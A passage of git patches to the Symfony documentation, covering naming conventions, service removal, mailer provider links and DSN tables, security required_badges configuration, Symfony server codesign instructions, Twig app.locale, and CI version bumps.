 
           - name: Cache dependencies
             if: ${{ steps.find-files.outputs.files }}

From bb61fadd54640c30e5bb313890a30de80aa9a8d4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 7 Apr 2023 15:02:30 +0200
Subject: [PATCH 4544/7107] Attributes that relate to controller arguments
 should start with `Map`

---
 contributing/code/standards.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 7313760543e..967edb0115e 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -230,8 +230,11 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
-* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
-  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+* Prefix PHP attributes that relate to service configuration with ``As``
+  (e.g. ``#[AsCommand]``, ``#[AsEventListener]``, etc.);
+
+* Prefix PHP attributes that relate to controller arguments with ``Map``
+  (e.g. ``#[MapEntity]``, ``#[MapCurrentUser]``, etc.);
 
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,

From 3d9dfe669f4557cc10d0ae0b188151113e736334 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 7 Apr 2023 17:09:46 +0200
Subject: [PATCH 4545/7107] [DependencyInjection] Document ServiceConfigurator
 remove method

---
 service_container/remove.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 service_container/remove.rst

diff --git a/service_container/remove.rst b/service_container/remove.rst
new file mode 100644
index 00000000000..da4fbf2e54e
--- /dev/null
+++ b/service_container/remove.rst
@@ -0,0 +1,23 @@
+How to Remove a Service
+=======================
+
+A service can be removed from the service container if needed
+(for instance in the test or a specific environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService``
+in the test environment.

From b63b95f5afea1edbc0172ef715b4cd964597d0d1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 8 Apr 2023 15:05:25 +0200
Subject: [PATCH 4546/7107] Fix minor syntax errors

---
 components/filesystem.rst | 12 ++++++------
 components/runtime.rst    |  2 +-
 components/workflow.rst   |  2 +-
 mercure.rst               |  2 +-
 setup.rst                 |  2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 02be4175446..70fdf10d63e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -478,12 +478,12 @@ Finding Directories/Root Directories
 PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
 file path. This method has a few quirks::
 
-- `dirname()` does not accept backslashes on UNIX
-- `dirname("C:/Programs")` returns "C:", not "C:/"
-- `dirname("C:/")` returns ".", not "C:/"
-- `dirname("C:")` returns ".", not "C:/"
-- `dirname("Programs")` returns ".", not ""
-- `dirname()` does not canonicalize the result
+- ``dirname()`` does not accept backslashes on UNIX
+- ``dirname("C:/Programs")`` returns "C:", not "C:/"
+- ``dirname("C:/")`` returns ".", not "C:/"
+- ``dirname("C:")`` returns ".", not "C:/"
+- ``dirname("Programs")`` returns ".", not ""
+- ``dirname()`` does not canonicalize the result
 
 :method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
 shortcomings::
diff --git a/components/runtime.rst b/components/runtime.rst
index f335cefa0b1..c1588bac187 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -384,7 +384,7 @@ application outside of the global state in 6 steps:
    returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
    that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
-   exit status code as `int`.
+   exit status code as ``int``.
 #. The PHP engine is terminated with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
diff --git a/components/workflow.rst b/components/workflow.rst
index 5161db5f888..77a648a2e0f 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -28,7 +28,7 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`).
 
 Consider the following example for a blog post. A post can have one of a number
-of predefined statuses (`draft`, `reviewed`, `rejected`, `published`). In a workflow,
+of predefined statuses (``draft``, ``reviewed``, ``rejected``, ``published``). In a workflow,
 these statuses are called **places**. You can define the workflow like this::
 
     use Symfony\Component\Workflow\DefinitionBuilder;
diff --git a/mercure.rst b/mercure.rst
index 6ad0c05c3df..a627cdee92d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -615,7 +615,7 @@ Testing
 
 During unit testing it's usually not needed to send updates to Mercure.
 
-You can instead make use of the `MockHub` class::
+You can instead make use of the ``MockHub`` class::
 
     // tests/FunctionalTest.php
     namespace App\Tests\Unit\Controller;
diff --git a/setup.rst b/setup.rst
index ec92fcb3d3a..ca52f8bfc69 100644
--- a/setup.rst
+++ b/setup.rst
@@ -145,7 +145,7 @@ the server by pressing ``Ctrl+C`` from your terminal.
 Symfony Docker Integration
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you'd like to use Docker with Symfony, see :doc:`setup/docker`
+If you'd like to use Docker with Symfony, see :doc:`/setup/docker`.
 
 .. _symfony-flex:
 

From cc8518978d394a9aff04e1740ef76345646d0d1c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 8 Apr 2023 16:32:02 +0200
Subject: [PATCH 4547/7107] [Security] Document required badges

---
 reference/configuration/security.rst | 54 ++++++++++++++++++++++++++++
 1 file changed, 54 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b3ab6d31564..27869dd074d 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -954,6 +954,60 @@ a ``user_checker`` option to define the service used to perform those checks.
 
 Learn more about user checkers in :doc:`/security/user_checkers`.
 
+Required Badges
+~~~~~~~~~~~~~~~
+
+Firewalls can configure a list of required badges that must be present on the authenticated passport:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    required_badges: ['CsrfTokenBadge', 'My\Badge']
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <!-- ... -->
+                    <required_badge>CsrfTokenBadge</required_badge>
+                    <required_badge>My\Badge</required_badge>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->requiredBadges(['CsrfTokenBadge', 'My\Badge']);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The ``required_badges`` option was introduced in Symfony 5.3.
+
 providers
 ---------
 

From 5d02675f5d63c5b03e57d33606a2b0e75cb87a1d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 10 Apr 2023 18:26:20 +0200
Subject: [PATCH 4548/7107] [Mailer] Link to bridges READMEs

---
 mailer.rst | 73 ++++++++++++++++++++++++++++++------------------------
 1 file changed, 41 insertions(+), 32 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index eb1a72ec9c1..b40a2f1aab3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,18 +108,18 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-==================  ==============================================
-Service             Install with
-==================  ==============================================
-Amazon SES          ``composer require symfony/amazon-mailer``
-MailChimp           ``composer require symfony/mailchimp-mailer``
-Mailgun             ``composer require symfony/mailgun-mailer``
-Mailjet             ``composer require symfony/mailjet-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
-Postmark            ``composer require symfony/postmark-mailer``
-SendGrid            ``composer require symfony/sendgrid-mailer``
-Sendinblue          ``composer require symfony/sendinblue-mailer``
-==================  ==============================================
+===================== ==============================================
+Service               Install with
+===================== ==============================================
+`Amazon SES`_         ``composer require symfony/amazon-mailer``
+`MailChimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailgun`_            ``composer require symfony/mailgun-mailer``
+`Mailjet`_            ``composer require symfony/mailjet-mailer``
+`OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
+`Postmark`_           ``composer require symfony/postmark-mailer``
+`SendGrid`_           ``composer require symfony/sendgrid-mailer``
+`Sendinblue`_         ``composer require symfony/sendinblue-mailer``
+===================== ==============================================
 
 .. note::
 
@@ -174,19 +174,19 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-==================== ==================================================== =========================================== ========================================
-Provider             SMTP                                                 HTTP                                        API
-==================== ==================================================== =========================================== ========================================
-Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
-Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
-Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
-Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
-Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
-Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
+Provider              SMTP                                                 HTTP                                        API
+===================== ==================================================== =========================================== ========================================
+`Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+`Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
+`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
+`Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+`Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
+`Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
+`Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
+`OhMySMTP`_           ohmysmtp+smtp://API_TOKEN@default                    n/a                                         ohmysmtp+api://API_TOKEN@default
+===================== ==================================================== =========================================== ========================================
 
 .. caution::
 
@@ -1586,16 +1586,25 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
         }
     }
 
-.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
-.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
+.. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
+.. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
+.. _`Google Gmail`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Google/README.md
+.. _`high availability`: https://en.wikipedia.org/wiki/High_availability
+.. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
+.. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
+.. _`MailChimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
+.. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/
-.. _`Inky`: https://get.foundation/emails/docs/inky.html
-.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
-.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
+.. _`OhMySMTP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/OhMySmtp/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
-.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`App Password`: https://support.google.com/accounts/answer/185833
+.. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
+.. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
+.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendinblue/README.md

From 2e8cd2ebf947a6f2cd4b7d4968e130b9a791d0cc Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 11 Apr 2023 08:54:03 +0200
Subject: [PATCH 4549/7107] Update symfony_server.rst

---
 setup/symfony_server.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b1aa76c0d17..e9129a8f926 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,8 +65,11 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # change the path to the location of your Symfony binary
-        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/5.4.21/bin/symfony
+        # find the version of the Symfony binary
+        $ symfony version
+
+        # change the path to the location of your Symfony binary replacing {version}
+        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
 
 Enabling PHP-FPM
 ----------------

From 8c900ca0e1de13bbb9f19e9745dce5be0b42d443 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 Apr 2023 09:18:34 +0200
Subject: [PATCH 4550/7107] Minor tweaks

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e9129a8f926..c89a3e23f2a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -65,10 +65,10 @@ run the Symfony server in the background:
 
     .. code-block:: terminal
 
-        # find the version of the Symfony binary
+        # find the installed version of the Symfony binary
         $ symfony version
 
-        # change the path to the location of your Symfony binary replacing {version}
+        # change the path to the location of your Symfony binary and replace {version} too
         $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/{version}/bin/symfony
 
 Enabling PHP-FPM

From cc2636b3009b2b647c63beb75b70716a7978bebc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Tue, 11 Apr 2023 11:14:47 +0200
Subject: [PATCH 4551/7107] Update http_client.rst

---
 http_client.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index e0c6dafd777..d0c49e7050e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -60,7 +60,10 @@ automatically when type-hinting for :class:`Symfony\\Contracts\\HttpClient\\Http
         use Symfony\Component\HttpClient\HttpClient;
 
         $client = HttpClient::create();
-        $response = $client->request('GET', 'https://api.github.com/repos/symfony/symfony-docs');
+        $response = $client->request(
+            'GET',
+            'https://api.github.com/repos/symfony/symfony-docs'
+        );
 
         $statusCode = $response->getStatusCode();
         // $statusCode = 200

From 86f699fdc5de0184dbd920f8fdb5bfd7063e1131 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:41:30 +0200
Subject: [PATCH 4552/7107] Remove obsolete versionadded directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c1e9d80d948..0d09209b33e 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -973,10 +973,6 @@ Firewalls can configure a list of required badges that must be present on the au
             // ...
         };
 
-.. versionadded:: 5.3
-
-    The ``required_badges`` option was introduced in Symfony 5.3.
-
 providers
 ---------
 

From c2a309f4823e1db51025a8fdc618a707d92699ea Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:43:43 +0200
Subject: [PATCH 4553/7107] Fix build

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 57a92ce65b8..8a8b4117487 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -170,7 +170,7 @@ Provider             SMTP                                                 HTTP
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 `Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`MailChimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 `Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 `Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
 `MailPace`_           mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default

From f8c40cc915ef76d2736ed2d28909c448c35be015 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:46:48 +0200
Subject: [PATCH 4554/7107] Fix: Name

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b40a2f1aab3..712efa8a8c5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`MailChimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
@@ -1385,7 +1385,7 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* MailChimp
+* Mailchimp
 * Mailgun
 * Postmark
 * Sendgrid
@@ -1596,7 +1596,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
-.. _`MailChimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mailchimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/

From ed094cf3d813551abad8809bc837a60fd79cd729 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 11:52:36 +0200
Subject: [PATCH 4555/7107] Fix build

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ba2c541e839..b052f7dedcb 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -164,9 +164,9 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-==================== ==================================================== =========================================== ========================================
-Provider             SMTP                                                 HTTP                                        API
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
+Provider              SMTP                                                 HTTP                                        API
+===================== ==================================================== =========================================== ========================================
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 `Infobip`_            infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
@@ -177,7 +177,7 @@ Provider             SMTP                                                 HTTP
 `Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 `Sendgrid`_           sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
 `Sendinblue`_         sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
-==================== ==================================================== =========================================== ========================================
+===================== ==================================================== =========================================== ========================================
 
 .. caution::
 

From ac51842c2a158a5fbd664c58d00730fc74410ee7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sama=C3=ABl=20Villette?= <villette.samael@gmail.com>
Date: Tue, 11 Apr 2023 12:04:26 +0200
Subject: [PATCH 4556/7107] docs: add `app.locale` from Twig `AppVariable`

---
 templates.rst   | 6 ++++++
 translation.rst | 2 ++
 2 files changed, 8 insertions(+)

diff --git a/templates.rst b/templates.rst
index 4da6e9bdb86..b0bcaffec05 100644
--- a/templates.rst
+++ b/templates.rst
@@ -380,12 +380,18 @@ gives you access to these variables:
 ``app.current_route_parameters``
     An array with the parameters passed to the route of the current request or an
     empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
+``app.locale``
+    The locale used in the current :ref:`locale switcher <locale-switcher>` context.
 
 .. versionadded:: 6.2
 
     The ``app.current_route`` and ``app.current_route_parameters`` variables
     were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``app.locale`` variable was introduced in Symfony 6.3.
+
 In addition to the global ``app`` variable injected by Symfony, you can also
 inject variables automatically to all Twig templates as explained in the next
 section.
diff --git a/translation.rst b/translation.rst
index 87c0dc8aaed..9cfbf7fed78 100644
--- a/translation.rst
+++ b/translation.rst
@@ -988,6 +988,8 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
+.. _locale-switcher:
+
 Switch Locale Programmatically
 ------------------------------
 

From 2d508357a8ae4ac86697b025249a25cf6af21406 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 08:31:48 +0200
Subject: [PATCH 4557/7107] [CI] Use DOCtor-RST 1.44.0

Follows
* https://github.com/OskarStark/doctor-rst/pull/1372
---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8a15e17fbb9..bf037f27716 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -54,6 +54,7 @@ rules:
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
+    use_named_constructor_without_new_keyword_rule: ~
     use_https_xsd_urls: ~
     valid_inline_highlighted_namespaces: ~
     valid_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 43e9274b128..5693c1a2206 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.42.1
+                uses: docker://oskarstark/doctor-rst:1.44.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 24d6cc03aa407f3e7b346a052946d6580b39ebac Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 11 Apr 2023 13:19:51 +0200
Subject: [PATCH 4558/7107] Update .github/workflows/ci.yaml

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 5693c1a2206..835cf386072 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.44.0
+                uses: docker://oskarstark/doctor-rst:1.44.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From f1d0dc05f1b4fe1b1c6cebe755eccc2fae58ca09 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Thu, 30 Mar 2023 11:34:13 +0300
Subject: [PATCH 4559/7107] [Profiler] Add conditional profiling example config

---
 .doctor-rst.yaml                   |   3 +
 .github/workflows/ci.yaml          |   2 +-
 _build/composer.lock               | 161 +++++++++++++++--------------
 components/clock.rst               |   2 +-
 components/process.rst             |   5 +
 components/property_info.rst       |  26 +++++
 components/psr7.rst                |  12 ++-
 contributing/code/standards.rst    |   9 +-
 doctrine/events.rst                |  44 +++++---
 form/form_collections.rst          |   6 +-
 form/use_empty_data.rst            |   2 +-
 html_sanitizer.rst                 |  68 ++++++++++++
 notifier.rst                       |   2 +-
 profiler.rst                       |  21 ++++
 security/access_denied_handler.rst |   2 +-
 security/passwords.rst             |  26 +++++
 session.rst                        |  38 ++++++-
 setup/symfony_server.rst           |   6 ++
 18 files changed, 321 insertions(+), 114 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4f74b4f3371..709ddc5714a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -18,6 +18,9 @@ rules:
     ensure_order_of_code_blocks_in_configuration_block: ~
     extend_abstract_controller: ~
     # extension_xlf_instead_of_xliff: ~
+    forbidden_directives:
+        directives:
+            - '.. index::'
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index a240982650a..91e5d0212a6 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.3
+                uses: docker://oskarstark/doctor-rst:1.42.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/_build/composer.lock b/_build/composer.lock
index 0ec00db5a84..d45dc483946 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.0",
+            "version": "v0.20.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
